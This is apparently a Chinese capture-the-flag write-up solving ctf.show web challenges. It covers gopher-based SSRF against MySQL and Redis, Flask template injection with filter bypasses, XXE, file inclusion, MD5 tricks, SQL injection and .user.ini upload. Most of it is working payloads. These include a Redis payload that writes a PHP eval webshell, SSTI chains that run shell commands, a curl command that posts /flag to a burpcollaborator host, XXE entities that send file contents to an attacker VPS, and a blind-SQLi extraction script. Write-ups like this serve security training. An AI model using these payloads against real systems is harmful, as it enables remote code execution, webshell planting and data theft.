1 gopher: //127.0 .0.1 :3306 /_%25 a3 %2500 %2500 %2501 %2585 %25 a6 %25 ff%2501 %2500 %2500 %2500 %2501 %2521 %2500 %2500 %2500 %2500 %2500 %2500 %2500 %2500 %2500 %2500 %2500 %2500 %2500 %2500 %2500 %2500 %2500 %2500 %2500 %2500 %2500 %2500 %2500 %2572 %256 f%256 f%2574 %2500 %2500 %256 d%2579 %2573 %2571 %256 c %255 f%256 e%2561 %2574 %2569 %2576 %2565 %255 f%2570 %2561 %2573 %2573 %2577 %256 f%2572 %2564 %2500 %2566 %2503 %255 f%256 f%2573 %2505 %254 c %2569 %256 e%2575 %2578 %250 c %255 f%2563 %256 c %2569 %2565 %256 e%2574 %255 f%256 e%2561 %256 d%2565 %2508 %256 c %2569 %2562 %256 d%2579 %2573 %2571 %256 c %2504 %255 f%2570 %2569 %2564 %2505 %2532 %2537 %2532 %2535 %2535 %250 f%255 f%2563 %256 c %2569 %2565 %256 e%2574 %255 f%2576 %2565 %2572 %2573 %2569 %256 f%256 e%2506 %2535 %252 e%2537 %252 e%2532 %2532 %2509 %255 f%2570 %256 c %2561 %2574 %2566 %256 f%2572 %256 d%2506 %2578 %2538 %2536 %255 f%2536 %2534 %250 c %2570 %2572 %256 f%2567 %2572 %2561 %256 d%255 f%256 e%2561 %256 d%2565 %2505 %256 d%2579 %2573 %2571 %256 c %254 b%2500 %2500 %2500 %2503 %2573 %2565 %256 c %2565 %2563 %2574 %2520 %2522 %253 c %253 f%2570 %2568 %2570 %2520 %2540 %2565 %2576 %2561 %256 c %2528 %2524 %255 f%2550 %254 f%2553 %2554 %255 b%2527 %2563 %256 d%2564 %2527 %255 d%2529 %253 b%253 f%253 e%2522 %2520 %2569 %256 e%2574 %256 f%2520 %256 f%2575 %2574 %2566 %2569 %256 c %2565 %2520 %2527 %252 f%2576 %2561 %2572 %252 f%2577 %2577 %2577 %252 f%2568 %2574 %256 d%256 c %252 f%2532 %252 e%2570 %2568 %2570 %2527 %253 b%2501 %2500 %2500 %2500 %2501
web360 考点:打redis
1 2 3 4 5 6 7 8 9 10 11 <?php error_reporting (0 );highlight_file (__FILE__ );$url =$_POST ['url' ];$ch =curl_init ($url );curl_setopt ($ch , CURLOPT_HEADER, 0 );curl_setopt ($ch , CURLOPT_RETURNTRANSFER, 1 );$result =curl_exec ($ch );curl_close ($ch );echo ($result );?>
1 url=dict:// 127.0 .0.1 :6379
试出来有redis服务
直接生成payload
1 2 3 python2 gopherus.py --exploit redis PHPshell<?php @eval ($_POST ['cmd' ]);?>
依旧再编码一次
1 gopher ://127.0.0.1:6379 /_%252 A1%250 D%250 A%25248 %250 D%250 Aflushall%250 D%250 A%252 A3%250 D%250 A%25243 %250 D%250 Aset%250 D%250 A%25241 %250 D%250 A1%250 D%250 A%252433 %250 D%250 A%250 A%250 A%253 C%253 Fphp%2520 %2540 eval%2528 %2524 _POST%255 B%2527 cmd%2527 %255 D%2529 %253 B%253 F%253 E%250 A%250 A%250 D%250 A%252 A4%250 D%250 A%25246 %250 D%250 Aconfig%250 D%250 A%25243 %250 D%250 Aset%250 D%250 A%25243 %250 D%250 Adir%250 D%250 A%252413 %250 D%250 A/var/www/html%250 D%250 A%252 A4%250 D%250 A%25246 %250 D%250 Aconfig%250 D%250 A%25243 %250 D%250 Aset%250 D%250 A%252410 %250 D%250 Adbfilename%250 D%250 A%25249 %250 D%250 Ashell.php%250 D%250 A%252 A1%250 D%250 A%25244 %250 D%250 Asave%250 D%250 A%250 A
SSTI 这些题好像都是python flask的ssti,没有其他类型的
1 2 3 4 5 6 7 8 9 __dict__ 保存类实例或对象实例的属性变量键值对字典__class__ 返回类型所属的对象__mro__ 返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。__bases__ 返回该对象所继承的基类 // __base__ 和__mro__ 都是用来寻找基类的__subclasses__ 每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表__init__ 类的初始化方法__globals__ 对包含函数全局变量的字典的引用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 1 、先找基类object ,用空字符串"" 来找 在python中,object 类是Python中所有类的基类,如果定义一个类时没有指定继承哪个类,则默认继承object 类。 使用?name ={{"" .__class__ }},得到空字符串的类<class 'str' > 点号. :python中用来访问变量的属性__class__ :类的一个内置属性,表示实例对象空字符串"" 的类。 然后使用?name ={{"" .__class__ .__mro__ }},得到(<class 'tuple' >, <class 'object' >)__mro__ method resolution order,即解析方法调用的顺序;此属性是由类组成的元组,在方法解析期间会基于它来查找基类。 然后再用?name ={{().__class__ .__mro__ [-1 ]}},取得最后一个东西即空字符串的类的基类<class 'object' > 或者使用?name ={{"" .__class__ .__bases__ }},得到空字符串的类的基类<class 'object' >__base__ 类型对象的直接基类__bases__ 类型对象的全部基类,以元组形式,类型的实例通常没有属性 __bases__ 2 、得到基类之后,找到这个基类的子类集合 使用?name ={{().__class__ .__mro__ [1 ].__subclasses__ ()}}__subclasses__ () 返回这个类的子类集合,每个类都保留一个对其直接子类的弱引用列表。该方法返回一个列表,其中包含所有仍然存在的引用。列表按照定义顺序排列。3 、找到其所有子类集合之后找一个我们能够使用的类,要求是这个类的某个方法能够被我们用于执行、找到flag 这里使用其第133 个类([0 ]是第一个类)<class 'os._wrap_close' > 使用?name ={{"" .__class__ .__mro__ [-1 ].__subclasses__ ()[132 ]}},得到<class 'os._wrap_close' > <class 'os._wrap_close' > 这个类有个popen方法可以执行系统命令4 、实例化我们找到的类对象 使用?name ={{"" .__class__ .__mro__ [-1 ].__subclasses__ ()[132 ].__init__ }},实例化这个类__init__ 初始化类,返回的类型是function5 、找到这个实例化对象的所有方法 使用?name ={{"" .__class__ .__mro__ [-1 ].__subclasses__ ()[132 ].__init__ .__globals__ }}__globals__ 使用方式是 function.__globals__ 获取function所处空间下可使用的module、方法以及所有变量。6 、根据方法寻找flag ?name ={{().__class__ .__mro__ [-1 ].__subclasses__ ()[132 ].__init__ .__globals__ ['popen' ]('cat /flag' ).read()}} popen()一个方法,用于执行命令 read() 从文件当前位置起读取size 个字节,若无参数size ,则表示读取至文件结束为止,它范围为字符串对象
web361 可以直接直接利用flask的一个方法:lipsum,在lipsum.__globals__
含有os模块,套用下面的payload,环境变量里就能看到flag
1 ?name= {{lipsum.__globals__ ['os'].popen('env' ).read()}}
或者
1 ?name= {{[].__class__.__base__.__subclasses__ ()[132].__init__.__globals__['popen']('cat /flag' ).read()}}
web362 过滤了2、3等数字,os._wrap_close这个类没法使用
依旧可行
1 ?name= {{lipsum.__globals__ ['os'].popen('env' ).read()}}
尝试利用subprocess.Popen()
1 ?name= {{().__class__.__mro__ [1].__subclasses__()[407]("cat /flag" ,shell =True ,stdout =-1).communicate()[0]}}
或者使用全角绕过数字,脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 def translate_digits (s ): mapping = str .maketrans("0123456789" , "0123456789" ) return s.translate(mapping)def translate_letters_encode (s ): mapping = str .maketrans("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ" , "𝐚𝐛𝐜𝐝𝐞𝐟𝐠𝐡𝐢𝐣𝐤𝐥𝐦𝐧𝐨𝐩𝐪𝐫𝐬𝐭𝐮𝐯𝐰𝐱𝐲𝐳𝐀𝐁𝐂𝐃𝐄𝐅𝐆𝐇𝐈𝐉𝐊𝐋𝐌𝐍𝐎𝐏𝐐𝐑𝐒𝐓𝐔𝐕𝐖𝐗𝐘𝐙" ) return s.translate(mapping)def translate_letters_fullangle (s ): mapping = str .maketrans("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ" , "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ" ) return s.translate(mapping) s = "{{().__class__.__mro__[-1].__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read()}}" s = translate_digits(s)print (s)
1 {{().__class__.__mro__ [-1].__subclasses__()[132].__init__.__globals__['popen']('cat /flag' ).read()}}
这里面的数字和正常的数字不一样
web363 过滤了单双引号,get传参绕过
1 ?name= {{().__class__.__mro__ [1].__subclasses__()[407](request.args.a ,shell =True ,stdout =-1).communicate()[0]}} &a=cat /flag
1 ?name= {{lipsum.__globals__ [request.args.a].popen(request.args.b ).read()}} &a=os&b=cat /*f*
web364 过滤了args换values,或Cookie
1 ?name= {{().__class__.__mro__ [1].__subclasses__()[407](request.values.a ,shell =True ,stdout =-1).communicate()[0]}} &a=cat /flag
1 2 ?name= {{lipsum.__globals__ [request.cookies.a].popen(request.cookies.b ).read()}} Cookie传: a=os;b=cat /*f*
web365 过滤了方括号,可以直接写上os不用方括号
1 2 ?name= {{lipsum.__globals__.os.popen (request.cookies.b ).read()}} Cookie传: b=cat /*f*
或者用__getitem__
绕过
1 ?name= {{().__class__.__mro__.__getitem__ (1 ).__subclasses__().__getitem__(407 )(request.values.a ,shell =True ,stdout =-1).communicate().__getitem__(0 )}} &a=cat /flag
web366 过滤了下划线,可以使用attr方法
1 ?name= {{(lipsum |attr(request.values.b )).os.popen(request.values.a ).read()}} &a=cat /flag&b=__globals__
web367 过滤了os,可以通过get来获取
1 ?name= {{(lipsum |attr(request.values.a )).get(request.values.b ).popen(request.values.c ).read()}} &a=__globals__&b=os&c=cat /flag
web368 {{
被过滤,使用{%%}
绕过,再借助print()
回显
1 ?name ={%print(lipsum|attr(request.values .a)).get (request.values .b).popen(request.values .c).read ()%}&a=__globals__&b=os&c=cat /flag
web369 禁掉了request
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 构造po="pop" #利用dict()|join拼接得到,"po" 键的值是变量 a 的值,"p" 键的值也是变量 a 的值。然后通过 |join 过滤器将字典的键值对拼接成一个字符串。 {% set po=dict(po=a,p=a)| join %} 等效于a=(()|select|string|list).pop(24),即a等价于下划线_(使用一系列过滤器(select、string、list)然后执行了 .pop(24) 操作,即从该对象的列表中弹出索引为 24 的元素。)|attr(po) 这一部分是在模板引擎中获取变量 po 所指示的属性或方法 {% set a=(()| select| string| list)| attr(po)(24 )%} 构造ini="___init__" {% set ini=(a,a,dict(init=a)| join ,a,a)| join ()%} 构造glo="__globals__" {% set glo=(a,a,dict(globals=a)| join ,a,a)| join ()%} 构造geti="__getitem__" {% set geti=(a,a,dict(getitem=a)| join ,a,a)| join ()%} 构造built="__builtins__" {% set built=(a,a,dict(builtins=a)| join ,a,a)| join ()%} 调用chr()函数 {% set x=(q| attr(ini)| attr(glo)| attr(geti))(built)%} {% set chr=x.chr%} 构造file='/flag' {% set file=chr(47 )%2 bchr(102 )%2 bchr(108 )%2 bchr(97 )%2 bchr(103 )%}
1 2 3 4 5 6 7 8 9 10 11 ?name= {% set po=dict(po=a,p=a)| join %} {% set a=(()| select| string| list)| attr(po)(24 )%} {% set ini=(a,a,dict(init=a)| join ,a,a)| join ()%} {% set glo=(a,a,dict(globals=a)| join ,a,a)| join ()%} {% set geti=(a,a,dict(getitem=a)| join ,a,a)| join ()%} {% set built=(a,a,dict(builtins=a)| join ,a,a)| join ()%} {% set x=(q| attr(ini)| attr(glo)| attr(geti))(built)%} {% set chr=x.chr%} {% set file=chr(47 )%2 bchr(102 )%2 bchr(108 )%2 bchr(97 )%2 bchr(103 )%} {% print (x.open(file).read())%}
web370 在原来的基础上过滤了数字,用之前那个全角bypass就行了
1 2 3 4 5 6 7 8 9 10 11 ?name= {% set po=dict(po=a,p=a)| join %} {% set a=(()| select| string| list)| attr(po)(24)%} {% set ini=(a,a,dict(init=a)| join ,a,a)| join ()%} {% set glo=(a,a,dict(globals=a)| join ,a,a)| join ()%} {% set geti=(a,a,dict(getitem=a)| join ,a,a)| join ()%} {% set built=(a,a,dict(builtins=a)| join ,a,a)| join ()%} {% set x=(q| attr(ini)| attr(glo)| attr(geti))(built)%} {% set chr=x.chr%} {% set file=chr(47)%2 bchr(102)%2 bchr(108)%2 bchr(97)%2 bchr(103)%} {% print (x.open(file).read())%}
web371 过滤print
使用curl进行外带,采用bp的collaborator client
1 curl -X POST -F xx=@ /flag u0viuzdbtbsztpdeh893j5ah58byzn.burpcollaborator.net
将上面的字符替换char
抄一下大佬的脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 def half2full (half ): full = '' for ch in half: if ord (ch) in range (33 , 127 ): ch = chr (ord (ch) + 0xfee0 ) elif ord (ch) == 32 : ch = chr (0x3000 ) else : pass full += ch return full string = input ("你要输入的字符串:" ) result = '' def str2chr (s ): global result for i in s: result += "chr(" +half2full(str (ord (i)))+")%2b" str2chr(string)print (result[:-3 ])
1 chr (99)%2 bchr (117)%2 bchr (114)%2 bchr (108)%2 bchr (32)%2 bchr (45)%2 bchr (88)%2 bchr (32)%2 bchr (80)%2 bchr (79)%2 bchr (83)%2 bchr (84)%2 bchr (32)%2 bchr (45)%2 bchr (70)%2 bchr (32)%2 bchr (120)%2 bchr (120)%2 bchr (61)%2 bchr (64)%2 bchr (47)%2 bchr (102)%2 bchr (108)%2 bchr (97)%2 bchr (103)%2 bchr (32)%2 bchr (117)%2 bchr (48)%2 bchr (118)%2 bchr (105)%2 bchr (117)%2 bchr (122)%2 bchr (100)%2 bchr (98)%2 bchr (116)%2 bchr (98)%2 bchr (115)%2 bchr (122)%2 bchr (116)%2 bchr (112)%2 bchr (100)%2 bchr (101)%2 bchr (104)%2 bchr (56)%2 bchr (57)%2 bchr (51)%2 bchr (106)%2 bchr (53)%2 bchr (97)%2 bchr (104)%2 bchr (53)%2 bchr (56)%2 bchr (98)%2 bchr (121)%2 bchr (122)%2 bchr (110)%2 bchr (46)%2 bchr (98)%2 bchr (117)%2 bchr (114)%2 bchr (112)%2 bchr (99)%2 bchr (111)%2 bchr (108)%2 bchr (108)%2 bchr (97)%2 bchr (98)%2 bchr (111)%2 bchr (114)%2 bchr (97)%2 bchr (116)%2 bchr (111)%2 bchr (114)%2 bchr (46)%2 bchr (110)%2 bchr (101)%2 bchr (116)
然后就是老样子构造命令了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 ?name= {% set po=dict(po=a,p=a)| join %} {% set a=(()| select| string| list)| attr(po)(24)%} {% set ini=(a,a,dict(init=a)| join ,a,a)| join ()%} {% set glo=(a,a,dict(globals=a)| join ,a,a)| join ()%} {% set geti=(a,a,dict(getitem=a)| join ,a,a)| join ()%} {% set built=(a,a,dict(builtins=a)| join ,a,a)| join ()%} {% set ohs=(dict(o=a,s=a)| join )%} {% set x=(q| attr(ini)| attr(glo)| attr(geti))(built)%} {% set chr=x.chr%} {% set cmd=chr(99)%2 bchr(117)%2 bchr(114)%2 bchr(108)%2 bchr(32)%2 bchr(45)%2 bchr(88)%2 bchr(32)%2 bchr(80)%2 bchr(79)%2 bchr(83)%2 bchr(84)%2 bchr(32)%2 bchr(45)%2 bchr(70)%2 bchr(32)%2 bchr(120)%2 bchr(120)%2 bchr(61)%2 bchr(64)%2 bchr(47)%2 bchr(102)%2 bchr(108)%2 bchr(97)%2 bchr(103)%2 bchr(32)%2 bchr(117)%2 bchr(48)%2 bchr(118)%2 bchr(105)%2 bchr(117)%2 bchr(122)%2 bchr(100)%2 bchr(98)%2 bchr(116)%2 bchr(98)%2 bchr(115)%2 bchr(122)%2 bchr(116)%2 bchr(112)%2 bchr(100)%2 bchr(101)%2 bchr(104)%2 bchr(56)%2 bchr(57)%2 bchr(51)%2 bchr(106)%2 bchr(53)%2 bchr(97)%2 bchr(104)%2 bchr(53)%2 bchr(56)%2 bchr(98)%2 bchr(121)%2 bchr(122)%2 bchr(110)%2 bchr(46)%2 bchr(98)%2 bchr(117)%2 bchr(114)%2 bchr(112)%2 bchr(99)%2 bchr(111)%2 bchr(108)%2 bchr(108)%2 bchr(97)%2 bchr(98)%2 bchr(111)%2 bchr(114)%2 bchr(97)%2 bchr(116)%2 bchr(111)%2 bchr(114)%2 bchr(46)%2 bchr(110)%2 bchr(101)%2 bchr(116)%} {% if ((lipsum| attr(glo)).get(ohs).popen(cmd))%} abc {% endif %}
web372 过滤count,用上一题的payload就可以了
XXE 开始前先看看文章,了解一下什么是xxe:https://virusday.github.io/2020/11/18/XXE%E6%80%BB%E7%BB%93/XXE%E6%80%BB%E7%BB%93/
web373 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 <?php error_reporting (0 );libxml_disable_entity_loader (false );$xmlfile = file_get_contents ('php://input' );if (isset ($xmlfile )){ $dom = new DOMDocument (); $dom ->loadXML ($xmlfile , LIBXML_NOENT | LIBXML_DTDLOAD); $creds = simplexml_import_dom ($dom ); $ctfshow = $creds ->ctfshow; echo $ctfshow ; }highlight_file (__FILE__ );
由此可以构造出payload:
1 2 3 4 5 6 <!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///flag" > ]> <sun > <ctfshow > &xxe; </ctfshow > </sun >
bp传就可以了
web374 1 2 3 4 5 6 7 8 9 10 <?php error_reporting (0 );libxml_disable_entity_loader (false );$xmlfile = file_get_contents ('php://input' );if (isset ($xmlfile )){ $dom = new DOMDocument (); $dom ->loadXML ($xmlfile , LIBXML_NOENT | LIBXML_DTDLOAD); }highlight_file (__FILE__ );
少了
1 2 3 $creds = simplexml_import_dom($dom );$ctfshow = $creds ->ctfshow;echo $ctfshow ;
不能直接回显了,可以用xml多次外带将数据外带到自己的vps上
在web根目录下新建三个文件:xxe.xml,xxe.php,flag.txt
xxe.xml:
1 2 3 4 <!ENTITY % all "<!ENTITY % send SYSTEM 'http://vps的ip/xxe.php?1=%file;'" > %all;
xxe.php:
1 2 3 4 5 6 7 <?php $content = $_GET ['1' ];if (isset ($content )){ file_put_contents ('flag.txt' ,'Last update time:' .date ("Y-m-d H:i:s" )."\n" .base64_decode ($content )); }else { echo 'no data input' ; }
然后bp发包
1 2 3 4 5 6 <!DOCTYPE ANY [ <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag" > <!ENTITY % remote SYSTEM "http://vps的ip/xxe.xml" > %remote; %send; ]>
web375 1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php error_reporting (0 );libxml_disable_entity_loader (false );$xmlfile = file_get_contents ('php://input' );if (preg_match ('/<\?xml version="1\.0"/' , $xmlfile )){ die ('error' ); }if (isset ($xmlfile )){ $dom = new DOMDocument (); $dom ->loadXML ($xmlfile , LIBXML_NOENT | LIBXML_DTDLOAD); }highlight_file (__FILE__ );
加了点过滤,但其实上一题的payload还能用
web376 1 2 3 4 5 6 7 8 9 10 11 12 13 <?php error_reporting (0 );libxml_disable_entity_loader (false );$xmlfile = file_get_contents ('php://input' );if (preg_match ('/<\?xml version="1\.0"/i' , $xmlfile )){ die ('error' ); }if (isset ($xmlfile )){ $dom = new DOMDocument (); $dom ->loadXML ($xmlfile , LIBXML_NOENT | LIBXML_DTDLOAD); }highlight_file (__FILE__ );
之前的payload依旧可以
web377 1 2 3 4 5 6 7 8 9 10 11 12 13 <?php error_reporting (0 );libxml_disable_entity_loader (false );$xmlfile = file_get_contents ('php://input' );if (preg_match ('/<\?xml version="1\.0"|http/i' , $xmlfile )){ die ('error' ); }if (isset ($xmlfile )){ $dom = new DOMDocument (); $dom ->loadXML ($xmlfile , LIBXML_NOENT | LIBXML_DTDLOAD); }highlight_file (__FILE__ );
相比上一题多过滤了 http 头,利用 utf-16 编码绕过
1 2 3 4 5 6 7 8 9 10 11 12 13 import requests url = 'http://61c44505-76fa-4f81-961f-5c556b56fa97.challenge.ctf.show/' payload = ''' <!DOCTYPE ANY[ <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag"> <!ENTITY % remote SYSTEM "http://vps的ip/xxe.xml"> %remote; %send; ]> ''' payload = payload.encode('utf-16' ) rep = requests.post(url=url, data=payload)print (rep.text)
web378 访问/doLogin,post传参
1 2 3 4 <!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///flag" > ]> <user > <username > &xxe; </username > <password > &xxe; </password > </user >
注意:Content-Type: application/xml
WEB web部分 web4 考察 日志注入 文件包含
1 <?php include ($_GET ['url' ]);?>
看到代码一开始以为是伪协议,但尝试了一下发现不行
试了一下,发现可以查看日志记录
1 http://86371388 -c80b-4158 -8b62 -113d782e117b.challenge.ctf.show /?url=/var /log /nginx/access.log
看起来是成功了,蚁键连接
拿到flag
web5 md5弱比较
0e绕过 常用的MD5加密后以0E开头的有
QNKCDZO
240610708
byGcY
sonZ7y
aabg7XSs
aabC9RqS
s878926199a
s155964671a
s214587387a
s1091221200a
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 <?php error_reporting (0 ); ?> <html lang="zh-CN" > <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> <meta name="viewport" content="width=device-width, minimum-scale=1.0, maximum-scale=1.0, initial-scale=1.0" /> <title>ctf.show_web5</title> </head> <body> <center> <h2>ctf.show_web5</h2> <hr> <h3> </center> <?php $flag ="" ; $v1 =$_GET ['v1' ]; $v2 =$_GET ['v2' ]; if (isset ($v1 ) && isset ($v2 )){ if (!ctype_alpha ($v1 )){ die ("v1 error" ); } if (!is_numeric ($v2 )){ die ("v2 error" ); } if (md5 ($v1 )==md5 ($v2 )){ echo $flag ; } }else { echo "where is flag?" ; } ?> </body> </html>
!ctype_alpha($v1)
限制v1只能包含字母
!is_numeric($v2)
限制v2只能包含数字
传参
1 http ://5 f8e5f79-72 e8-4 c86-aad4-49 c755eafc28.challenge.ctf.show/?v1=QNKCDZO&v2=240610708
拿到flag
web6 fuzz一下,过滤了空格和or
空格用/**/代替就好了
其他就是按步骤来就行了
想要注意一下回显位只有2
1 -1'u nionselect 1 ,(select group_concat(table_name)from information_schema.tableswhere table_schema=database()),3 #
web8 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 import requests url = "http://2151dc54-36a4-42c9-9678-bf9786979ef0.challenge.ctf.show/index.php?id=-1/**/or/**/" result = '' i = 0 while True : i = i + 1 head = 32 tail = 127 while head < tail: mid = (head + tail) >> 1 payload = f'ascii(substr((select/**/(flag)from(flag))/**/from/**/{i} /**/for/**/1))>{mid} ' r = requests.get(url + payload) if "By Rudyard Kipling" in r.text: head = mid + 1 else : tail = mid if head != 32 : result += chr (head) else : break print (result)
web9 sql注入与MD5(raw)的特殊结合
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php $flag ="" ; $password =$_POST ['password' ]; if (strlen ($password )>10 ){ die ("password error" ); } $sql ="select * from user where username ='admin' and password ='" .md5 ($password ,true )."'" ; $result =mysqli_query ($con ,$sql ); if (mysqli_num_rows ($result )>0 ){ while ($row =mysqli_fetch_assoc ($result )){ echo "登陆成功<br>" ; echo $flag ; } } ?>
原题和这个差不多,https://blog.csdn.net/March97/article/details/81222922
传入特殊值ffifdyop (raw: ‘or’6\xc9]\x99\xe9!r,\xf9\xedb\x1c)构成万能密码,实现登录
web10 点击取消,得到源码,发现过滤了好多
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 <?php $flag ="" ; function replaceSpecialChar ($strParam ) { $regex = "/(select|from|where|join|sleep|and|\s|union|,)/i" ; return preg_replace ($regex ,"" ,$strParam ); } if (!$con ) { die ('Could not connect: ' . mysqli_error ()); } if (strlen ($username )!=strlen (replaceSpecialChar ($username ))){ die ("sql inject error" ); } if (strlen ($password )!=strlen (replaceSpecialChar ($password ))){ die ("sql inject error" ); } $sql ="select * from user where username = '$username '" ; $result =mysqli_query ($con ,$sql ); if (mysqli_num_rows ($result )>0 ){ while ($row =mysqli_fetch_assoc ($result )){ if ($password ==$row ['password' ]){ echo "登陆成功<br>" ; echo $flag ; } } } ?>
with rollup 可以对 group by 分组结果再次进行分组,并在最后添加一行数据用于展示结果( 对group by未指定的字段进行求和汇总, 而group by指定的分组字段则用null占位)
用group by 语句对其密码排序,然后用with rollup与去对排序后进行求和,因为求和后的值为null
1 username=1' or 1 =1 group by passwordwith rollup#&password=
构造这样,导致null=null
绕过if($password==$row[‘password’])
web11 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php function replaceSpecialChar ($strParam ) { $regex = "/(select|from|where|join|sleep|and|\s|union|,)/i" ; return preg_replace ($regex ,"" ,$strParam ); } if (strlen ($password )!=strlen (replaceSpecialChar ($password ))){ die ("sql inject error" ); } if ($password ==$_SESSION ['password' ]){ echo $flag ; }else { echo "error" ; } ?>
把cookie清空了,再输入空密码
构造null=null就可以了
web12 提示了?cmd=
,直接试试
发现不行,再试试?cmd=phpinfo();
发现禁用了一些函数,包括刚才的system
php语法中:
print_r(glob(“*”)):直接打印出来当前目录下的所有文件
highlight_file :高亮文件内容
于是直接查看有哪些文件,再看文件内容
1 highlight_file("903c00105c0141fd37ff47697e916e53616e33a72fb3774ab213b3e2a732f56f.php" )
红包题第二弹 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php if (isset ($_GET ['cmd' ])){ $cmd =$_GET ['cmd' ]; highlight_file (__FILE__ ); if (preg_match ("/[A-Za-oq-z0-9$]+/" ,$cmd )){ die ("cerror" ); } if (preg_match ("/\~|\!|\@|\#|\%|\^|\&|\*|\(|\)|\(|\)|\-|\_|\{|\}|\[|\]|\'|\"|\:|\,/" ,$cmd )){ die ("serror" ); } eval ($cmd ); }
好家伙过滤怎么多,但是唯独没过滤字母p,有点奇怪
看下大佬的wp,又涨知识了
临时文件的命名规则
在上传存储到临时目录后,临时文件命名的规则如下: 默认为 php+4或者6位随机数字和大小写字母 php[0-9A-Za-z]{3,4,5,6} 比如 :phpXXXXXX.tmp 在windows下有tmp后缀,linux没有。
PHP上传机制:
php文件上传时会先将上传的文件保存到upload_tmp_dir该配置目录下,这里为/tmp,而上传页面只负责把该文件拷贝到目标目录。也就是说不管该php页面有没有文件上传功能,我们只要上传了文件,该文件就会被上传到upload_tmp_dir配置的目录下,上传完后会被删除。
现在再来看这个:
1 ?cmd=?> <?= `.%20 /??p/p?p??????`;
在php中,<? ?>
称为短标签,<?php ?>
称为长标签。修改PHP.ini文件配置 short_open_tag = On 才可使用短标签。php5.4.0以后, <?= 总是可代替 <? echo。
开头的?>
: <?=
又是一个短标签,在eval中相当于一段php代码,你得要把前面的<?php
给闭合了啊,所以会有一个?>
在php中反引号的作用是命令替换,将其中的字符串当成shell命令执行,返回命令的执行结果。反引号包括的字符串必须是能执行的shell命令,否则会出错。这里就是将.%20/??p/p?p??????
当shell命令执行
最后就是.%20/??p/p?p??????
模糊匹配 .
就是linux中来执行命令的
相当于. /tmp/php??????
所以说最后的思路就是,先提交一个能执行shell的文件到tmp目录,再用模糊匹配去执行shell,进而执行我们想要的命令
先在前端页面插入:
1 2 3 4 <form action ="http://8feb7574-7863-4195-9aeb-4c0c586c51d1.challenge.ctf.show/" method ="POST" enctype ="multipart/form-data" > <input type ="file" name ="file" /> <input type ="submit" value ="submit" />
再上传构造好的文件
然后传构造好的cmd=,就得到了flag,注意细节
web13 能下载备份文件upload.php.bak,查看源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 <?php header ("content-type:text/html;charset=utf-8" ); $filename = $_FILES ['file' ]['name' ]; $temp_name = $_FILES ['file' ]['tmp_name' ]; $size = $_FILES ['file' ]['size' ]; $error = $_FILES ['file' ]['error' ]; $arr = pathinfo ($filename ); $ext_suffix = $arr ['extension' ]; if ($size > 24 ){ die ("error file zise" ); } if (strlen ($filename )>9 ){ die ("error file name" ); } if (strlen ($ext_suffix )>3 ){ die ("error suffix" ); } if (preg_match ("/php/i" ,$ext_suffix )){ die ("error suffix" ); } if (preg_match ("/php/i" ),$filename )){ die ("error file name" ); } if (move_uploaded_file ($temp_name , './' .$filename )){ echo "文件上传成功!" ; }else { echo "文件上传失败!" ; } ?>
发现限制文件名不能为大小写的 php,文件大小被限制为小于24,文件名字长度<=9,文件后缀<=3
再看一下是nignx服务,开启了fastCGI。
所以思路是构造一个.user.ini文件并上传,然后上传txt木马,之后就会在各目录都有txt木马并被解析(在.usr.ini中如果设置了文件名,那么任意一个页面都会将该文件中的内容包含进去。)
.user.ini文件:
1 2 GIF89aauto_prepend_file =1.txt
大小超了,去掉GIF89a就可以了
蚁剑不行,直接POST吧,好吧system应该又被禁了哈哈哈
换print_r(glob(“*”)) 和highlight_file
web14 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 include ("secret.php" );if (isset ($_GET ['c' ])){ $c = intval ($_GET ['c' ]); sleep ($c ); switch ($c ) { case 1 : echo '$url' ; break ; case 2 : echo '@A@' ; break ; case 555555 : echo $url ; case 44444 : echo "@A@" ; break ; case 3333 : echo $url ; break ; case 222 : echo '@A@' ; break ; case 222 : echo '@A@' ; break ; case 3333 : echo $url ; break ; case 44444 : echo '@A@' ; case 555555 : echo $url ; break ; case 3 : echo '@A@' ; case 6000000 : echo "$url " ; case 1 : echo '@A@' ; break ; } }highlight_file (__FILE__ );
传c=3进入下一阶段,here_1s_your_f1ag.php
还是sql注入,源码给了查询语句的一部分,空格、information_schema.columns和information_schema_tables等被过滤了
直接内联注释绕过就好了/*!code*/
1 query=-1 /**/u nion/**/ select/**/ (select/**/g roup_concat(column_name)/**/ from/**/i nformation_schema./*!columns*/ /**/ where/**/ table_name='content' )
1 query=-1 /**/u nion/**/ select/**/ (select/**/g roup_concat(password)/**/ from/**/ web.content)
